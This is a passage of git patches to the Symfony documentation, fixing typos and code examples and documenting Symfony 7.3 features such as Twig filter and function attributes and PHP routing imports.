+    Support for :doc:`Symfony Clock </components/clock>` in ``UriSigner`` was
+    introduced in Symfony 7.3.
 
 Troubleshooting
 ---------------

From a5308819ac679da412d48acbb3d45f245b23f1e3 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Wed, 23 Apr 2025 19:38:45 +0200
Subject: [PATCH 5571/5766] fix(doctrine): default configuration

---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 8a1062a54ae..46877e9f84c 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -176,7 +176,7 @@ that the ORM resolves to:
 
     doctrine:
         orm:
-            auto_mapping: true
+            auto_mapping: false
             # the standard distribution overrides this to be true in debug, false otherwise
             auto_generate_proxy_classes: false
             proxy_namespace: Proxies

From 3abba12e6fe84c031dcae54569f35e8225775b76 Mon Sep 17 00:00:00 2001
From: Hmache Abdellah <11814824+Hmache@users.noreply.github.com>
Date: Sun, 20 Apr 2025 23:31:32 +0200
Subject: [PATCH 5572/5766] [uid] Fix Uuid::v8() usage example to show it
 requires a UUID string

This update corrects the usage example of Uuid::v8() to prevent misuse and confusion
---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index b286329151d..2fa04251f90 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -140,7 +140,7 @@ of the UUID value is specific to each implementation and no format should be ass
     use Symfony\Component\Uid\Uuid;
 
     // $uuid is an instance of Symfony\Component\Uid\UuidV8
-    $uuid = Uuid::v8();
+    $uuid = Uuid::v8('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
 .. versionadded:: 6.2
 

From 4464d375341f6d333fff2dd91e2b48aeb3589591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Apr 2025 08:57:36 +0200
Subject: [PATCH 5573/5766] Tweaks

---
 components/uid.rst | 36 +++++++++++++++++++-----------------
 1 file changed, 19 insertions(+), 17 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 2fa04251f90..b031348f85a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -32,13 +32,13 @@ to create each type of UUID:
 **UUID v1** (time-based)
 
 Generates the UUID using a timestamp and the MAC address of your device
-(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+(`read the UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
 Both are obtained automatically, so you don't have to pass any constructor argument::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV1
     $uuid = Uuid::v1();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV1
 
 .. tip::
 
@@ -48,7 +48,7 @@ Both are obtained automatically, so you don't have to pass any constructor argum
 **UUID v2** (DCE security)
 
 Similar to UUIDv1 but with a very high likelihood of ID collision
-(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+(`read the UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
 It's part of the authentication mechanism of DCE (Distributed Computing Environment)
 and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
 This UUID variant is **not implemented** by the Uid component.
@@ -56,7 +56,7 @@ This UUID variant is **not implemented** by the Uid component.
 **UUID v3** (name-based, MD5)
 
 Generates UUIDs from names that belong, and are unique within, some given namespace
-(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+(`read the UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
 This variant is useful to generate deterministic UUIDs from arbitrary strings.
 It works by populating the UUID contents with the``md5`` hash of concatenating
 the namespace and the name::
@@ -69,8 +69,8 @@ the namespace and the name::
     // $namespace = Uuid::v4();
 
     // $name can be any arbitrary string
-    // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v3($namespace, $name);
+    // $uuid is an instance of Symfony\Component\Uid\UuidV3
 
 These are the default namespaces defined by the standard:
 
@@ -81,20 +81,20 @@ These are the default namespaces defined by the standard:
 
 **UUID v4** (random)
 
-Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+Generates a random UUID (`read the UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
 Because of its randomness, it ensures uniqueness across distributed systems
 without the need for a central coordinating entity. It's privacy-friendly
 because it doesn't contain any information about where and when it was generated::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV4
     $uuid = Uuid::v4();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV4
 
 **UUID v5** (name-based, SHA-1)
 
 It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
-``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+``md5`` to hash the given namespace and name (`read the UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
 This makes it more secure and less prone to hash collisions.
 
 .. _uid-uuid-v6:
@@ -103,12 +103,12 @@ This makes it more secure and less prone to hash collisions.
 
 It rearranges the time-based fields of the UUIDv1 to make it lexicographically
 sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
-(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+(`read the UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV6
     $uuid = Uuid::v6();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
 .. tip::
 
@@ -121,26 +121,28 @@ sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
 
 Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
 source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
-(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+(`read the UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
 It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
 better entropy (and a more strict chronological order of UUID generation)::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV7
     $uuid = Uuid::v7();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV7
 
 **UUID v8** (custom)
 
-Provides an RFC-compatible format for experimental or vendor-specific use cases
-(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
-The only requirement is to set the variant and version bits of the UUID. The rest
-of the UUID value is specific to each implementation and no format should be assumed::
+Provides an RFC-compatible format intended for experimental or vendor-specific use cases
+(`read the UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+You must generate the UUID value yourself. The only requirement is to set the
+variant and version bits of the UUID correctly. The rest of the UUID content is
+implementation-specific, and no particular format should be assumed::
 
     use Symfony\Component\Uid\Uuid;
 
-    // $uuid is an instance of Symfony\Component\Uid\UuidV8
+    // pass your custom UUID value as the argument
     $uuid = Uuid::v8('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    // $uuid is an instance of Symfony\Component\Uid\UuidV8
 
 .. versionadded:: 6.2
 

From d8ac2923438cd19b28bc3a51577e5b505102eb64 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 24 Apr 2025 09:24:02 +0200
Subject: [PATCH 5574/5766] fix path to Panther web server router file

The path is used as an argument for the `php` binary which treats it
relative to the document root directory that is passed with the `-t`
option (in a typical Symfony application the document root directory
is `public` which is located in the same parent directory as the `tests`
directory).
---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 83d61b1e60f..80e970bd2cd 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -878,7 +878,7 @@ Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the
         <!-- ... -->
         <php>
             <!-- ... -->
-            <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/>
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
         </php>
     </phpunit>
 

From 9f7cc9d5d899a2afc46ca1be67f2242a21326168 Mon Sep 17 00:00:00 2001
From: Arnaud Thibaudet <athib.pro@gmail.com>
Date: Thu, 24 Apr 2025 10:17:29 +0200
Subject: [PATCH 5575/5766] Fix typo on parameter name

Signed-off-by: Arnaud Thibaudet <athib.pro@gmail.com>
---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 86282090801..23949b7e67f 100644
--- a/translation.rst
+++ b/translation.rst
@@ -487,11 +487,11 @@ your application:
 
 .. code-block:: twig
 
-    {{ 'Application version: {version}'|trans }}
+    {{ 'Application version: {app_version}'|trans }}
     {# output: "Application version: 1.2.3" #}
 
     {# parameters passed to the message override global parameters #}
-    {{ 'Package version: {version}'|trans({'{version}': '2.3.4'}) }}
+    {{ 'Package version: {app_version}'|trans({'{app_version}': '2.3.4'}) }}
     # Displays "Package version: 2.3.4"
 
 Forcing the Translator Locale

From ce4cd4db8dc7154a63c9951f5a276b11f93cc29e Mon Sep 17 00:00:00 2001
From: Jorick Pepin <jorick.pepin@gmail.com>
Date: Thu, 24 Apr 2025 17:11:47 +0200
Subject: [PATCH 5576/5766] [BrowserKit] Fix `submitForm` behaviour

---
 components/browser_kit.rst | 2 +-
 testing.rst                | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index c744837d7b1..21ceaf5a095 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -147,7 +147,7 @@ field values, etc.) before submitting it::
     $crawler = $client->request('GET', 'https://github.com/login');
 
     // find the form with the 'Log in' button and submit it
-    // 'Log in' can be the text content, id, value or name of a <button> or <input type="submit">
+    // 'Log in' can be the text content, id or name of a <button> or <input type="submit">
     $client->submitForm('Log in');
 
     // the second optional argument lets you override the default form field values
diff --git a/testing.rst b/testing.rst
index f786a01a83e..559dad9229e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -875,8 +875,8 @@ Use the ``submitForm()`` method to submit the form that contains the given butto
         'comment_form[content]' => '...',
     ]);
 
-The first argument of ``submitForm()`` is the text content, ``id``, ``value`` or
-``name`` of any ``<button>`` or ``<input type="submit">`` included in the form.
+The first argument of ``submitForm()`` is the text content, ``id`` or ``name``
+of any ``<button>`` or ``<input type="submit">`` included in the form.
 The second optional argument is used to override the default form field values.
 
 .. note::

From 4b2afd7fb77c88960044ed420d31e1d68811b997 Mon Sep 17 00:00:00 2001
From: DanielEScherzer <daniel.e.scherzer@gmail.com>
Date: Thu, 24 Apr 2025 18:26:25 -0700
Subject: [PATCH 5577/5766] core_team: fix a typo (poiting -> pointing)

---
 contributing/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index f895dcd00d8..7b3d667a14b 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -254,7 +254,7 @@ generate the CHANGELOG files when releasing new versions.
     #. A clone for their own contributions, which they use to push to their
        fork on GitHub. Clear out the push URL for the Symfony repository using
        ``git remote set-url --push origin dev://null`` (change ``origin``
-       to the Git remote poiting to the Symfony repository);
+       to the Git remote pointing to the Symfony repository);
     #. A clone for merging, which they use in combination with ``gh`` and
        allows them to push to the main repository.
 

From 7292c30bc9ac84a590cf7a63edb83a0a7419ab35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Apr 2025 10:30:00 +0200
Subject: [PATCH 5578/5766] Tweaks

---
 mailer.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 034f9bdfe97..d368048aec8 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1093,13 +1093,17 @@ the email contents:
     <h1>Welcome {{ email.toName }}!</h1>
     {# ... #}
 
-By default this will create an attachment using the file path as filename:
+By default this will create an attachment using the file path as file name:
 ``Content-Disposition: inline; name="cid..."; filename="@images/logo.png"``.
-This behavior can be overridden by passing a name (the third argument):
+This behavior can be overridden by passing a custom file name as the third argument:
 
 .. code-block:: html+twig
 
-    <img src="{{ email.image('@images/logo.png', name: 'my-logo.png') }}" alt="My Logo">
+    <img src="{{ email.image('@images/logo.png', 'image/png', 'logo-acme.png') }}" alt="ACME Logo">
+
+.. versionadded:: 7.3
+
+    The third argument of ``email.image()`` was introduced in Symfony 7.3.
 
 .. _mailer-inline-css:
 

From b47463617dec7ad81e3d4ab6a4836a23f78764fc Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 25 Apr 2025 11:05:10 -0400
Subject: [PATCH 5579/5766] [Scheduler] add note about the recipe

---
 scheduler.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 1630fd8dada..2126801071c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -27,10 +27,10 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
-.. tip::
+.. note::
 
-    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
-    to generate a basic schedule, that you can customize to create your own Scheduler.
+    The Symfony Scheduler Flex recipe creates an initial schedule that's ready
+    to start adding your tasks.
 
 Symfony Scheduler Basics
 ------------------------
@@ -1007,7 +1007,6 @@ When using the ``RedispatchMessage``, Symfony will attach a
 :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron

From 969ba97fc48192a21a1241508f2e19894f971a37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Apr 2025 17:40:43 +0200
Subject: [PATCH 5580/5766] [Validator] Fix minor syntax issue

---
 reference/constraints/Twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Twig.rst b/reference/constraints/Twig.rst
index 8435c191855..e38b4507d7a 100644
--- a/reference/constraints/Twig.rst
+++ b/reference/constraints/Twig.rst
@@ -24,7 +24,7 @@ Basic Usage
 -----------
 
 Apply the ``Twig`` constraint to validate the contents of any property or the
-returned value of any method:
+returned value of any method::
 
     use Symfony\Bridge\Twig\Validator\Constraints\Twig;
 

From 49a3f18ecc10cff61a96d05037673966da867fe0 Mon Sep 17 00:00:00 2001
From: Aubert Jordan <jordan@les-tilleuls.coop>
Date: Mon, 28 Apr 2025 10:57:19 +0200
Subject: [PATCH 5581/5766] Update custom_normalizer.rst

Update `normalize` signature according to `NormalizerInterface`
---
 serializer/custom_normalizer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index b357f3f91ad..eafabde50cb 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -36,9 +36,9 @@ normalization process::
         ) {
         }
 
-        public function normalize(mixed $object, ?string $format = null, array $context = []): array
+        public function normalize(mixed $data, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($object, $format, $context);
+            $data = $this->normalizer->normalize($data, $format, $context);
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [

From 40a99acbbeba9f4aa3b2f09821c52443446aa8a2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 28 Apr 2025 12:10:49 +0200
Subject: [PATCH 5582/5766] Add PHP config support for routing

---
 configuration/micro_kernel_trait.rst | 10 ++++++++--
 controller/error_pages.rst           | 12 +++++++++---
 2 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index f919b1f7a74..c372d876651 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -297,8 +297,8 @@ Now it looks like this::
         {
             // import the WebProfilerRoutes, only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.xml')->prefix('/_wdt');
-                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.php', 'php')->prefix('/_wdt');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.php', 'php')->prefix('/_profiler');
             }
 
             // load the routes defined as PHP attributes
@@ -310,6 +310,12 @@ Now it looks like this::
         // to override the default locations for these directories
     }
 
+
+.. versionadded:: 7.3
+
+    The ``wdt.php`` and ``profiler.php`` files were introduced in Symfony 7.3.
+    Previously, you had to import ``wdt.xml`` and ``profiler.xml``
+
 Before continuing, run this command to add support for the new dependencies:
 
 .. code-block:: terminal
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 96856764ece..06087837437 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -154,7 +154,8 @@ automatically when installing ``symfony/framework-bundle``):
         # config/routes/framework.yaml
         when@dev:
             _errors:
-                resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
+                resource: '@FrameworkBundle/Resources/config/routing/errors.php'
+                type:     php
                 prefix:   /_error
 
     .. code-block:: xml
@@ -167,7 +168,7 @@ automatically when installing ``symfony/framework-bundle``):
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
             <when env="dev">
-                <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+                <import resource="@FrameworkBundle/Resources/config/routing/errors.php" type="php" prefix="/_error"/>
             </when>
         </routes>
 
@@ -178,7 +179,7 @@ automatically when installing ``symfony/framework-bundle``):
 
         return function (RoutingConfigurator $routes): void {
             if ('dev' === $routes->env()) {
-                $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
+                $routes->import('@FrameworkBundle/Resources/config/routing/errors.php', 'php')
                     ->prefix('/_error')
                 ;
             }
@@ -191,6 +192,11 @@ need to replace ``http://localhost/`` by the host used in your local setup):
 * ``http://localhost/_error/{statusCode}`` for HTML
 * ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
+.. versionadded:: 7.3
+
+    The ``errors.php`` file was introduced in Symfony 7.3.
+    Previously, you had to import ``errors.xml``
+
 .. _overriding-non-html-error-output:
 
 Overriding Error output for non-HTML formats

From 82bc8577edf015dc868e6620bfe49cb064aae4fd Mon Sep 17 00:00:00 2001
From: Kevin <34477826+kkevindev@users.noreply.github.com>
Date: Mon, 28 Apr 2025 12:55:07 +0200
Subject: [PATCH 5583/5766] Added Progress Indicator link to Console Helpers
 overview page.

---
 components/console/helpers/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 8f9ce0ca0f3..41f0667c40d 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -1,6 +1,7 @@
 * :doc:`/components/console/helpers/formatterhelper`
 * :doc:`/components/console/helpers/processhelper`
 * :doc:`/components/console/helpers/progressbar`
+* :doc:`/components/console/helpers/progressindicator`
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`

From b430e186c1b226a3ac78dfd3caa056d7c0ebe6e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Apr 2025 08:05:22 +0200
Subject: [PATCH 5584/5766] Minor tweaks

---
 scheduler.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 2126801071c..608717c9b8e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -20,8 +20,7 @@ stack Symfony application.
 Installation
 ------------
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the scheduler component:
+Run this command to install the scheduler component:
 
 .. code-block:: terminal
 
@@ -29,8 +28,8 @@ install the scheduler component:
 
 .. note::
 
-    The Symfony Scheduler Flex recipe creates an initial schedule that's ready
-    to start adding your tasks.
+    In applications using :ref:`Symfony Flex <symfony-flex>`, installing the component
+    also creates an initial schedule that's ready to start adding your tasks.
 
 Symfony Scheduler Basics
 ------------------------

From 34df2c88cc8ee9e78b197434929f29b3243493a2 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 29 Apr 2025 14:28:50 +0200
Subject: [PATCH 5585/5766] [Messenger] Fix instance variable declaration

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6fbfd36385d..bf5a8180adc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2548,7 +2548,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
     {
         public function __construct(
             private MailerInterface $mailer,
-            EntityManagerInterface $em,
+            private EntityManagerInterface $em,
         ) {
         }
 

From a2e253932e35ec9504f1b76c365cb0e273bb658a Mon Sep 17 00:00:00 2001
From: gertdepagter <gertdepagter@sofios.nl>
Date: Wed, 16 Apr 2025 14:50:05 +0200
Subject: [PATCH 5586/5766] Add documentation to use `AsTaggedItem` for value
 resolver priority/name

---
 controller/value_resolver.rst | 18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 08ba5f3eb72..48d0ba17bdb 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -322,7 +322,7 @@ this argument) or an array with the resolved value(s). Usually arguments are
 resolved as a single value, but variadic arguments require resolving multiple
 values. That's why you must always return an array, even for single values::
 
-    // src/ValueResolver/IdentifierValueResolver.php
+    // src/ValueResolver/BookingIdValueResolver.php
     namespace App\ValueResolver;
 
     use App\IdentifierInterface;
@@ -374,6 +374,20 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/ValueResolver/BookingIdValueResolver.php
+        namespace App\ValueResolver;
+
+        use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
+        use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
+
+         #[AsTaggedItem(name: 'booking_id', priority: 150)]
+        class BookingIdValueResolver implements ValueResolverInterface
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -455,7 +469,7 @@ As an alternative, you can add the
 :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsTargetedValueResolver` attribute
 to your resolver and pass your custom name as its first argument::
 
-    // src/ValueResolver/IdentifierValueResolver.php
+    // src/ValueResolver/BookingIdValueResolver.php
     namespace App\ValueResolver;
 
     use Symfony\Component\HttpKernel\Attribute\AsTargetedValueResolver;

From 15849ea5cead4abf20e5dd4d7d14a4cff366d291 Mon Sep 17 00:00:00 2001
From: RisingSunLight <risingsunlightdev@gmail.com>
Date: Sat, 12 Apr 2025 17:38:38 +0200
Subject: [PATCH 5587/5766] [TwigBundle] Enable `#[AsTwigFilter]`,
 `#[AsTwigFunction]` and `#[AsTwigTest]`

---
 quick_tour/the_architecture.rst | 19 ++++-------
 reference/attributes.rst        |  2 ++
 templates.rst                   | 56 +++++++++++++++++----------------
 3 files changed, 37 insertions(+), 40 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a323461885d..9f76dac3a23 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -159,29 +159,22 @@ Twig Extension & Autoconfiguration
 Thanks to Symfony's service handling, you can *extend* Symfony in many ways, like
 by creating an event subscriber or a security voter for complex authorization
 rules. Let's add a new filter to Twig called ``greet``. How? Create a class
-that extends ``AbstractExtension``::
+with your logic::
 
     // src/Twig/GreetExtension.php
     namespace App\Twig;
 
     use App\GreetingGenerator;
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
+    use Twig\Attribute\AsTwigFilter;
 
-    class GreetExtension extends AbstractExtension
+    class GreetExtension
     {
         public function __construct(
             private GreetingGenerator $greetingGenerator,
         ) {
         }
 
-        public function getFilters(): array
-        {
-            return [
-                new TwigFilter('greet', [$this, 'greetUser']),
-            ];
-        }
-
+        #[AsTwigFilter('greet')]
         public function greetUser(string $name): string
         {
             $greeting =  $this->greetingGenerator->getRandomGreeting();
@@ -197,8 +190,8 @@ After creating just *one* file, you can use this immediately:
     {# templates/default/index.html.twig #}
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
-
-How does this work? Symfony notices that your class extends ``AbstractExtension``
+    
+How does this work? Symfony notices that your class uses a Twig attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class
 (or implement an interface). Symfony takes care of the rest.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index a8399dafe28..7878446351c 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -123,6 +123,8 @@ Twig
 ~~~~
 
 * :ref:`Template <templates-template-attribute>`
+* :ref:`AsTwigFilter <templates-twig-filter-attribute>`
+* :ref:`AsTwigFunction <templates-twig-function-attribute>`
 
 Symfony UX
 ~~~~~~~~~~
diff --git a/templates.rst b/templates.rst
index c6312abb33c..bad63550786 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1553,23 +1553,20 @@ as currency:
     {# pass in the 3 optional arguments #}
     {{ product.price|price(2, ',', '.') }}
 
-Create a class that extends ``AbstractExtension`` and fill in the logic::
+.. _templates-twig-filter-attribute:
+
+Create a class with a method that contains the filter logic, then add
+the ``#[AsTwigFilter]`` attribute to define the name and options of
+the Twig filter::
 
     // src/Twig/AppExtension.php
     namespace App\Twig;
 
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
+    use Twig\Attribute\AsTwigFilter;
 
-    class AppExtension extends AbstractExtension
+    class AppExtension
     {
-        public function getFilters(): array
-        {
-            return [
-                new TwigFilter('price', [$this, 'formatPrice']),
-            ];
-        }
-
+        #[AsTwigFilter('price')]
         public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
@@ -1579,24 +1576,19 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
         }
     }
 
-If you want to create a function instead of a filter, define the
-``getFunctions()`` method::
+.. _templates-twig-function-attribute:
+
+If you want to create a function instead of a filter, use the
+``#[AsTwigFunction]`` attribute::
 
     // src/Twig/AppExtension.php
     namespace App\Twig;
 
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFunction;
+    use Twig\Attribute\AsTwigFunction;
 
-    class AppExtension extends AbstractExtension
+    class AppExtension
     {
-        public function getFunctions(): array
-        {
-            return [
-                new TwigFunction('area', [$this, 'calculateArea']),
-            ];
-        }
-
+        #[AsTwigFunction('area')]
         public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
@@ -1608,6 +1600,16 @@ If you want to create a function instead of a filter, define the
     Along with custom filters and functions, you can also register
     `global variables`_.
 
+.. versionadded:: 7.3
+
+    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]`` attributes was introduced in Symfony 7.3.
+    Previously, you had to extend the ``AbstractExtension`` class, and override the
+    ``getFilters()`` and ``getFunctions()`` methods.
+
+When using autoconfiguration, the tag ``twig.attribute_extension`` is added automatically
+when a Twig attribute is used on a method of a class. Otherwise, when autoconfiguration is not enabled,
+it needs to be added in the service definition.
+
 Register an Extension as a Service
 ..................................
 
@@ -1631,10 +1633,10 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Including the code of the custom filters/functions in the Twig extension class
-is the simplest way to create extensions. However, Twig must initialize all
-extensions before rendering any template, even if the template doesn't use an
-extension.
+When using attributes to extend Twig, the services are initialized only when
+the functions or filters are used to render the template. But in case you use the
+classic approach by extending the ``AbstractExtension`` class, Twig initializes all the extensions before
+rendering any template, even if the extension is not used in the template.
 
 If extensions don't define dependencies (i.e. if you don't inject services in
